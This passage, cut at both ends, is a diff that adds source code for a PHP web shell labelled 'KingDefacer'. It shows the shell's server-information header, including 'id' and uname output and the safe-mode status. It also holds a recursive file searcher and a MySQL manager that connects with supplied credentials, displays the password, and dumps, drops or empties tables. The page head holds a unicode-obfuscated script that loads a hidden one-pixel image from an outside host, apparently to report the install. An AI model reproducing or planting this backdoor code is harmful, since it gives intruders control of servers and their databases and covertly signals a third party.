<br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"KingDefacer_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.KingDefacer_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("KingDefacerfsearch")) +{ +function KingDefacerfsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {KingDefacerfsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function KingDefacerexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();}$dspact = $act = htmlspecialchars($act);$disp_fullpath = $ls_arr = $notls = null;$ud = urlencode($d);?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - KingDefacer</title> <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> <STYLE> +TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>kira v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = 